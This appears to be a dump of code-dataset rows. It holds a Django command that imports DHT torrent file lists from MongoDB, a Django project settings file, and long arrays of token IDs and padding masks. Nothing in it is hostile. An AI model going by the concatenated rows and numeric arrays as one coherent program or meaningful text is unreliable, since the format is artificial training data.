#coding: utf8 from django.core.management.base import BaseCommand from django import db as ddb from search.models import FileList import pymongo import json import binascii db = pymongo.MongoClient().dht class Command(BaseCommand): def handle(self, *args, **options): #FileList.objects.all().delete() print 'inputing ...' total = db.filelist.count() ii = 0 ready = [] for x in db.filelist.find(): ii += 1 if ii % 200 == 0: try: FileList.objects.bulk_create(ready) except: for r in ready: try: r.save() except: import traceback traceback.print_exc() ready = [] if ii % 10000 == 0: print ii * 100 / total, '%', total - ii ddb.reset_queries() h = FileList() h.info_hash = binascii.hexlify(x['_id']) h.file_list = json.dumps(x['files']) ready.append(h) if ready: FileList.objects.bulk_create(ready)
gpl-2.0
[ 3, 1523, 26, 2774, 24, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 22239, 199, 504, 1639, 492, 1592, 465, 366, 697, 199, 504, 2754, 14, 992, 492, 3814, 1296, 199, 646, 21878, 199, 646, 2022, 199, 646, 14755, 199, 199, 697, 275, 21878, 14, 20393, 3041, 1252, 68, 517, 199, 199, 533, 5817, 8, 25150, 304, 272, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 327, 1173, 1296, 14, 1462, 14, 452, 1252, 1807, 342, 267, 870, 283, 1210, 316, 2263, 7, 267, 3141, 275, 1592, 14, 14964, 14, 835, 342, 267, 15393, 275, 378, 267, 10144, 275, 942, 267, 367, 671, 315, 1592, 14, 14964, 14, 1623, 837, 288, 15393, 847, 413, 288, 340, 15393, 450, 1926, 508, 378, 26, 355, 862, 26, 490, 3814, 1296, 14, 1462, 14, 9377, 63, 981, 8, 2179, 9, 355, 871, 26, 490, 367, 519, 315, 10144, 26, 717, 862, 26, 1169, 519, 14, 2117, 342, 717, 871, 26, 1169, 492, 5190, 1169, 5190, 14, 1361, 63, 2804, 342, 355, 10144, 275, 942, 288, 340, 15393, 450, 11630, 508, 378, 26, 355, 870, 15393, 627, 2948, 1182, 3141, 12, 1543, 297, 3141, 446, 15393, 355, 366, 697, 14, 3958, 63, 10590, 342, 953, 394, 275, 3814, 1296, 342, 288, 394, 14, 815, 63, 2227, 275, 14755, 14, 20677, 8, 88, 8680, 344, 1105, 288, 394, 14, 493, 63, 513, 275, 2022, 14, 4180, 8, 88, 459, 1725, 1105, 288, 10144, 14, 740, 8, 72, 9, 398, 340, 10144, 26, 288, 3814, 1296, 14, 1462, 14, 9377, 63, 981, 8, 2179, 9, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1523, 26, 2774, 24, 199, 504, 1639, 14, 1018, 14, 8110, 14, 1095, 492, 22239, 199, 504, 1639, 492, 1592, 465, 366, 697, 199, 504, 2754, 14, 992, 492, 3814, 1296, 199, 646, 21878, 199, 646, 2022, 199, 646, 14755, 199, 199, 697, 275, 21878, 14, 20393, 3041, 1252, 68, 517, 199, 199, 533, 5817, 8, 25150, 304, 272, 347, 2429, 8, 277, 12, 627, 589, 12, 1011, 1419, 304, 267, 327, 1173, 1296, 14, 1462, 14, 452, 1252, 1807, 342, 267, 870, 283, 1210, 316, 2263, 7, 267, 3141, 275, 1592, 14, 14964, 14, 835, 342, 267, 15393, 275, 378, 267, 10144, 275, 942, 267, 367, 671, 315, 1592, 14, 14964, 14, 1623, 837, 288, 15393, 847, 413, 288, 340, 15393, 450, 1926, 508, 378, 26, 355, 862, 26, 490, 3814, 1296, 14, 1462, 14, 9377, 63, 981, 8, 2179, 9, 355, 871, 26, 490, 367, 519, 315, 10144, 26, 717, 862, 26, 1169, 519, 14, 2117, 342, 717, 871, 26, 1169, 492, 5190, 1169, 5190, 14, 1361, 63, 2804, 342, 355, 10144, 275, 942, 288, 340, 15393, 450, 11630, 508, 378, 26, 355, 870, 15393, 627, 2948, 1182, 3141, 12, 1543, 297, 3141, 446, 15393, 355, 366, 697, 14, 3958, 63, 10590, 342, 953, 394, 275, 3814, 1296, 342, 288, 394, 14, 815, 63, 2227, 275, 14755, 14, 20677, 8, 88, 8680, 344, 1105, 288, 394, 14, 493, 63, 513, 275, 2022, 14, 4180, 8, 88, 459, 1725, 1105, 288, 10144, 14, 740, 8, 72, 9, 398, 340, 10144, 26, 288, 3814, 1296, 14, 1462, 14, 9377, 63, 981, 8, 2179, 9, 421, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Gricha/django-empty
django-empty-auth/newproject/settings.py
1
3305
""" Django settings for newproject project. For more information on this file, see https://docs.djangoproject.com/en/1.6/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.6/ref/settings/ """ # Build paths inside the project like this: os.path.join(BASE_DIR, ...) import os BASE_DIR = os.path.dirname(os.path.dirname(__file__)) from newproject.settings_local import ( SECRET_KEY, DEBUG, LESSC_PATH, USE_SYSLOG, TEMPLATE_DEBUG, ALLOWED_HOSTS, COMPRESS_ENABLED, DATABASES, ADMINS) AUTHENTICATION_BACKENDS = ( 'newproject.auth_backends.CustomUserModelBackend', ) TEMPLATE_CONTEXT_PROCESSORS = ( "django.contrib.auth.context_processors.auth", "django.core.context_processors.debug", "django.core.context_processors.i18n", "django.core.context_processors.media", "django.core.context_processors.static", "django.core.context_processors.tz", "django.contrib.messages.context_processors.messages", 'django.core.context_processors.request',) AUTH_PROFILE_MODULE = 'newproject.apps.account.CustomUser' CUSTOM_USER_MODEL = 'newproject.apps.account.CustomUser' # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/1.6/howto/deployment/checklist/ INSTALLED_APPS = ( 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'newproject.apps.account', 'newproject.apps.main', 'compressor', 'south', 'registration', 'widget_tweaks', ) MIDDLEWARE_CLASSES = ( 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ) ROOT_URLCONF = 'newproject.urls' WSGI_APPLICATION = 'newproject.wsgi.application' # Internationalization # https://docs.djangoproject.com/en/1.6/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'UTC' USE_I18N = True USE_L10N = True USE_TZ = True STATIC_URL = '/static/' # Additional locations of static files STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'static/'), # Put strings here, like "/home/html/static" or "C:/www/django/static". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. ) # List of finder classes that know how to find static files in # various locations. STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', 'compressor.finders.CompressorFinder', ) # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', ) TEMPLATE_DIRS = ( 'newproject/templates/', ) LOGIN_REDIRECT_URL = '/' COMPRESS_ROOT = os.path.join(BASE_DIR, 'newproject', 'static') COMPRESS_PRECOMPILERS = ( ('text/less', '%s {infile} {outfile}' % LESSC_PATH), )
unlicense
[ 624, 199, 9323, 2202, 367, 892, 1715, 2199, 14, 199, 199, 1858, 1655, 2556, 641, 642, 570, 12, 1937, 199, 2859, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 11299, 15, 1751, 15, 199, 199, 1858, 314, 2615, 769, 402, 2202, 436, 3932, 1338, 12, 1937, 199, 2859, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 1121, 15, 1751, 15, 199, 624, 199, 199, 3, 6516, 3792, 6272, 314, 2199, 2839, 642, 26, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 19172, 199, 646, 747, 199, 5825, 63, 3022, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 3475, 3460, 493, 8964, 421, 199, 504, 892, 1715, 14, 1751, 63, 1832, 492, 334, 272, 5795, 11771, 63, 3078, 12, 272, 10990, 12, 272, 23695, 35, 63, 3243, 12, 272, 4815, 63, 13326, 4947, 12, 272, 24877, 63, 5287, 12, 272, 27805, 1149, 63, 23775, 12, 272, 16503, 50, 1608, 63, 15704, 12, 272, 26931, 21983, 12, 272, 29948, 51, 9, 199, 199, 29599, 63, 28988, 275, 334, 272, 283, 1222, 1715, 14, 1178, 63, 7765, 14, 31482, 1685, 8447, 297, 199, 9, 199, 199, 7433, 63, 9059, 63, 10494, 4149, 275, 334, 272, 298, 1176, 14, 2828, 14, 1178, 14, 1100, 63, 10547, 14, 1178, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 1757, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 73, 1085, 78, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 4603, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 1986, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 3903, 401, 272, 298, 1176, 14, 2828, 14, 3431, 14, 1100, 63, 10547, 14, 3431, 401, 272, 283, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 1069, 9538, 199, 199, 5580, 63, 16632, 63, 10001, 275, 283, 1222, 1715, 14, 5181, 14, 2048, 14, 31482, 7, 199, 20519, 63, 3791, 63, 11429, 275, 283, 1222, 1715, 14, 5181, 14, 2048, 14, 31482, 7, 199, 199, 3, 27534, 13, 928, 16367, 2202, 446, 625, 83, 10020, 367, 9920, 199, 3, 1666, 4178, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 21232, 15, 13605, 15, 1074, 513, 15, 199, 199, 15942, 63, 14219, 275, 334, 272, 283, 1176, 14, 2828, 14, 2113, 297, 272, 283, 1176, 14, 2828, 14, 1178, 297, 272, 283, 1176, 14, 2828, 14, 10778, 297, 272, 283, 1176, 14, 2828, 14, 11676, 297, 272, 283, 1176, 14, 2828, 14, 3431, 297, 272, 283, 1176, 14, 2828, 14, 18373, 297, 339, 283, 1222, 1715, 14, 5181, 14, 2048, 297, 272, 283, 1222, 1715, 14, 5181, 14, 973, 297, 339, 283, 27879, 297, 272, 283, 22607, 297, 272, 283, 8054, 297, 272, 283, 3440, 63, 84, 10350, 83, 297, 199, 9, 199, 199, 19987, 63, 13748, 275, 334, 272, 283, 1176, 14, 2828, 14, 11676, 14, 5754, 14, 4434, 6608, 297, 272, 283, 1176, 14, 5754, 14, 2330, 14, 7844, 6608, 297, 272, 283, 1176, 14, 5754, 14, 10088, 14, 13912, 25322, 297, 272, 283, 1176, 14, 2828, 14, 1178, 14, 5754, 14, 10348, 6608, 297, 272, 283, 1176, 14, 2828, 14, 3431, 14, 5754, 14, 2209, 6608, 297, 272, 283, 1176, 14, 5754, 14, 4891, 19193, 316, 14, 56, 3160, 4558, 6608, 297, 199, 9, 199, 199, 5441, 63, 18125, 275, 283, 1222, 1715, 14, 3603, 7, 199, 199, 16828, 63, 24051, 275, 283, 1222, 1715, 14, 6508, 14, 3578, 7, 199, 199, 3, 28220, 2072, 199, 3, 4178, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 11299, 15, 73, 1085, 78, 15, 199, 199, 13947, 63, 6012, 275, 283, 287, 13, 527, 7, 199, 199, 4961, 63, 15353, 275, 283, 11288, 7, 199, 199, 4701, 63, 41, 1085, 46, 275, 715, 199, 199, 4701, 63, 44, 709, 46, 275, 715, 199, 199, 4701, 63, 14226, 275, 715, 199, 199, 10449, 63, 2632, 275, 1994, 1986, 4805, 199, 199, 3, 10961, 9918, 402, 2955, 1584, 199, 10449, 9472, 63, 14455, 275, 334, 272, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 1986, 20467, 272, 327, 16280, 3326, 2348, 12, 2839, 3286, 4219, 15, 1360, 15, 1986, 2, 503, 298, 35, 11254, 1544, 15, 1176, 15, 1986, 1674, 272, 327, 16763, 675, 7568, 20275, 12, 2755, 641, 5417, 14, 272, 327, 7529, 1133, 19459, 370, 675, 3679, 3792, 12, 440, 3847, 3792, 14, 199, 9, 199, 199, 3, 3820, 402, 11569, 3992, 626, 5715, 4212, 370, 2342, 2955, 1584, 315, 199, 3, 7750, 9918, 14, 199, 10449, 9472, 63, 27087, 3960, 275, 334, 272, 283, 1176, 14, 2828, 14, 18373, 14, 26677, 14, 17521, 11791, 297, 272, 283, 1176, 14, 2828, 14, 18373, 14, 26677, 14, 2640, 13752, 11791, 297, 272, 283, 27879, 14, 26677, 14, 2404, 11686, 11791, 297, 199, 9, 199, 199, 3, 3820, 402, 28041, 626, 5715, 4212, 370, 492, 7009, 687, 7750, 5274, 14, 199, 7433, 63, 7405, 3960, 275, 334, 272, 283, 1176, 14, 1160, 14, 16370, 14, 11381, 14, 5455, 297, 272, 283, 1176, 14, 1160, 14, 16370, 14, 571, 63, 12629, 14, 5455, 297, 199, 9, 199, 199, 7433, 63, 14455, 275, 334, 272, 283, 1222, 1715, 15, 5876, 3678, 199, 9, 199, 199, 17208, 63, 19747, 63, 2632, 275, 7324, 199, 199, 22827, 1608, 63, 5441, 275, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 283, 1222, 1715, 297, 283, 1986, 358, 199, 199, 22827, 1608, 63, 4225, 6790, 1193, 3960, 275, 334, 272, 661, 505, 15, 2003, 297, 1543, 83, 469, 13880, 93, 469, 4984, 6834, 450, 23695, 35, 63, 3243, 395, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 9323, 2202, 367, 892, 1715, 2199, 14, 199, 199, 1858, 1655, 2556, 641, 642, 570, 12, 1937, 199, 2859, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 11299, 15, 1751, 15, 199, 199, 1858, 314, 2615, 769, 402, 2202, 436, 3932, 1338, 12, 1937, 199, 2859, 921, 4757, 14, 14013, 14, 957, 15, 287, 15, 17, 14, 22, 15, 1121, 15, 1751, 15, 199, 624, 199, 199, 3, 6516, 3792, 6272, 314, 2199, 2839, 642, 26, 747, 14, 515, 14, 904, 8, 5825, 63, 3022, 12, 19172, 199, 646, 747, 199, 5825, 63, 3022, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 3475, 3460, 493, 8964, 421, 199, 504, 892, 1715, 14, 1751, 63, 1832, 492, 334, 272, 5795, 11771, 63, 3078, 12, 272, 10990, 12, 272, 23695, 35, 63, 3243, 12, 272, 4815, 63, 13326, 4947, 12, 272, 24877, 63, 5287, 12, 272, 27805, 1149, 63, 23775, 12, 272, 16503, 50, 1608, 63, 15704, 12, 272, 26931, 21983, 12, 272, 29948, 51, 9, 199, 199, 29599, 63, 28988, 275, 334, 272, 283, 1222, 1715, 14, 1178, 63, 7765, 14, 31482, 1685, 8447, 297, 199, 9, 199, 199, 7433, 63, 9059, 63, 10494, 4149, 275, 334, 272, 298, 1176, 14, 2828, 14, 1178, 14, 1100, 63, 10547, 14, 1178, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 1757, 401, 272, 298, 1176, 14, 1018, 14, 1100, 63, 10547, 14, 73, 1085, 78, 